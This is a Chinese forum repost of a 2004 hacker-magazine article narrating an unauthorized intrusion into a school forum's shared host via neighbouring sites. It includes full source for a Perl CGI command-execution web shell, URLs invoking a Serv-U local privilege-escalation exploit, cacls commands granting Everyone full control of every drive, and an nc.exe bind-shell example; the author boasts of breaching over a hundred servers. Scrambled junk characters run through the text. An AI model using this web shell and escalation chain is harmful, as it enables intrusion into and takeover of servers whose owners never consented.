标题: 剑走偏锋——灵巧的旁注攻击 [打印本页] 作者: admin 时间: 2012-9-15 14:11 标题: 剑走偏锋——灵巧的旁注攻击 剑走偏锋——灵巧的旁注攻击 7 a9 v& n( k# ]) X: s/ z, s- I6 _! z本文作者:angel 2 w P& Z" ~8 f: P. h% g* ^$ D文章性质:原创 4 y+ F" z- p Y/ H" Q, h8 F发布日期:2004-11-09 & S4 t+ R: N4 `注意: - t# D# c( _$ o* j: @7 X, q本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。0 @# J; R% r w% W# B
本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。 4 G: t: v# y8 k- |6 n% E; F! N- R5 w& S' ^9 B% Q# |4 K
终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。 ) Y( u9 l) e7 I- g, Q3 h
0 v6 q, U6 S: T5 o* F
一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。 / c2 n3 s' l; D2 e! R4 `6 O" {9 Q
7 g1 \; M5 v }3 Z) ^
不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。 3 O% {) ?( Y0 m @9 f
9 l" r# l' G, {& r9 i 一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。 " u6 ^" k- ?% e# T8 Q1 Z/ i
# s+ g2 U# V# i Z! l 大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。 ' z( }" ^' }+ |8 i" Z5 M. T; b; E$ w: k/ ?" a4 r: f1 G5 p
没有目的的跳转目录着…… ' q: X% A" U9 `6 {2 b
/ M9 i; ]. X w) m) V+ {; x 我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了…… ( ]( P1 U) N5 U: |: |% C5 G 5 j2 u; ` V2 V: r! z5 k 结束了吗?不,我试着 FTP 一下: / ], w) @9 B" V$ ^0 x # ]; v0 F$ I& Q& L) l; ^Microsoft Windows 2000 [Version 5.00.2195] , Y$ |; h% @/ @" [(C) 版权所有 1985-2000 Microsoft Corp. % _0 n% J# K2 y& i+ i1 C 2 t0 a% k* Y6 h! [, wC:\Documents and Settings\Administrator>ftp www.school.com 3 |' j! e% ^0 S3 z, K+ eConnected to www. school.com. / }* }$ G) a8 D' S2 X+ x1 [2 o220 Welcome to FTP Server... % e% C$ g* s: F/ P3 p
User (www.bjtrq.com:(none)): , c+ \; g# U3 n331 User name okay, need password. & E* ^. G; g8 e( r: t) R
Password: " ~7 F, G' G; j, r530 Not logged in. & a) u8 M; N" M! o/ E! bLogin failed. & Z$ ^2 X/ G2 S7 gftp> bye 6 l; W [' E" y+ f1 J1 y221 Goodbye! # m; P0 }5 S) E) a, U& ]' [
! H0 H4 ~7 R: H7 k: c# i$ a3 y$ ]1 I) g9 N, F2 S5 x7 r
从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的…… & B& h6 n5 g1 J4 g7 ]& ]+ B4 M; t& P% @% E, j5 g, z: `
原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。 1 i' b+ X- e* e# R# F0 O( y8 ` ! K- S1 |# o; uApplication Data 2 Y7 x5 [0 e" q! O4 j# p0 cDocuments7 Y+ ` A' N$ S2 j2 f: {! ?
DRM ; ?+ s1 R9 h% x7 R g$ vFavorites 7 R" z5 ]( c F/ u( Y- q; |Templates 7 r6 s# g" U! u6 |/ S" r「开始」菜单2 h4 D4 o0 N' z* s" Z2 Z
桌面 # L3 z+ E% t! d* V) ?. n, s* ~ , i) i; a/ U- \6 g8 b. J" n" U$ n3 U/ B
马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息, ; y5 e& v2 g/ @/ C8 v0 ]% Z
; w7 Y6 l P. ?: l( U 还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下: ' m, N. C* O. N9 \8 ~ , m% c/ C7 |6 a1 ]: c5 `#!/usr/bin/perl- p4 x6 A1 F4 g/ v- r8 _
binmode(STDOUT);: @3 u8 s9 M) t( E& k
syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);: {0 r o: l/ I0 K/ s9 H
$_ = $ENV{QUERY_STRING};7 N% ]! }! _. M9 ]* e
s/%20/ /ig; 6 N2 i i/ i1 R: q* ?+ {s/%2f/\//ig; ) @) }7 {' [! K6 h# x. C3 o9 ?$execthis = $_; ' i) D! d, Y. _+ P C, o b" fsyswrite(STDOUT, "<HTML><PRE>\r\n", 13);; B7 |7 |$ Z% I5 Q6 ^# E6 d
open(STDERR, ">&STDOUT") || die "Can't redirect STDERR"; 8 A4 ^' O1 C6 Rsystem($execthis);# Z/ e& n6 e# X. `) T# B
syswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);* t( T. @0 z5 l$ \
close(STDERR); 6 A6 I+ Z; ^- R4 \. V; z# d* Yclose(STDOUT);% [. v* l5 U4 R6 \0 K- z
exit; : r% s. L; E4 Q% u" ^# C / A! Q; D- I% F& [8 I h+ i5 P7 Y0 H% a6 p3 P1 _
我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!! ; A7 A$ O2 B _8 i9 m
( w5 w; [" k1 G& K3 W
显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交: ) T9 w9 }- [! b( W0 v
H7 M$ N! y) Z# _. p/ _
http://anyhost//cmd.pl?d:\user\bin\su.exe 7 ~ J! R2 g* W0 A% t' B! H. s
& Q B1 ^# `! S5 B
1 G4 p& h% k7 q F; {
返回: + E3 u2 i4 N" G, I1 S3 d# i, i+ Y1 F7 e
Serv-u >3.x Local Exploit by xiaolu 8 j* n# y! Z/ ^% r" z* s8 P5 c( G - \! n" S! I; E- h* i |, }USAGE: serv-u.exe "command" # q& Q* Q" Q( @1 u5 }
+ |) }/ L9 ?% N* P7 h0 C* @8 G- P
Example: serv-u.exe "nc.exe -l -p 99 -e cmd.exe" 4 ^5 D/ p/ D0 m+ A7 @9 w$ k
e6 a+ A7 ~4 g& m) X* C0 Q+ ?0 E# R* ~+ j, G
嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交: " N, F6 S7 V& Z: Y, ], l , y& L: d( ]: h/ @6 yhttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F" # z0 G- \# c- g6 C, Z2 k; j2 A+ m
" p/ n! ]( O) n
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F" - V6 q# @; J6 M8 P' t; R
" o' o: j% H! k7 E' Ghttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F" ; o6 a5 r% p8 W7 T/ F {- r0 k
' D0 b9 u( c6 F9 f1 o0 n h! dhttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F" ! d/ O+ J5 T- |" A
# H5 C4 g6 V5 w5 l4 m $ v- V% t) l" W' z 返回下面的信息,就表示成功了!!! ( `7 H2 c5 F" C6 _2 T: r " y+ ~. u; y0 \, Y/ bServ-u >3.x Local Exploit by xiaolu & H3 L4 F8 r5 w; T
+ y, d6 C. q, L5 G: g<220 Serv-U FTP Server v5.2 for WinSock ready... `& {$ A% Y; C# [+ N* C! a$ Z5 [2 t0 o
>USER LocalAdministrator , E: h! j v1 V" Z % L! X1 |& W; C8 ]0 s6 j<331 User name okay, need password. & _& o' A X' e
- l, h; \7 I! T3 K( p
****************************************************** 3 p0 E2 j9 k; x& a7 I
( B/ ~: W+ v6 S3 m. T>PASS #l@$ak#.lk;0@P " `3 T/ e- u% a8 K" `' t5 _7 M! p: O2 I' Z' [# _7 U5 ^5 s
<230 User logged in, proceed. - H. w1 {6 p( q% i1 c3 \! t$ Z/ n" ]. K0 s
****************************************************** - E5 W) R6 w. z; `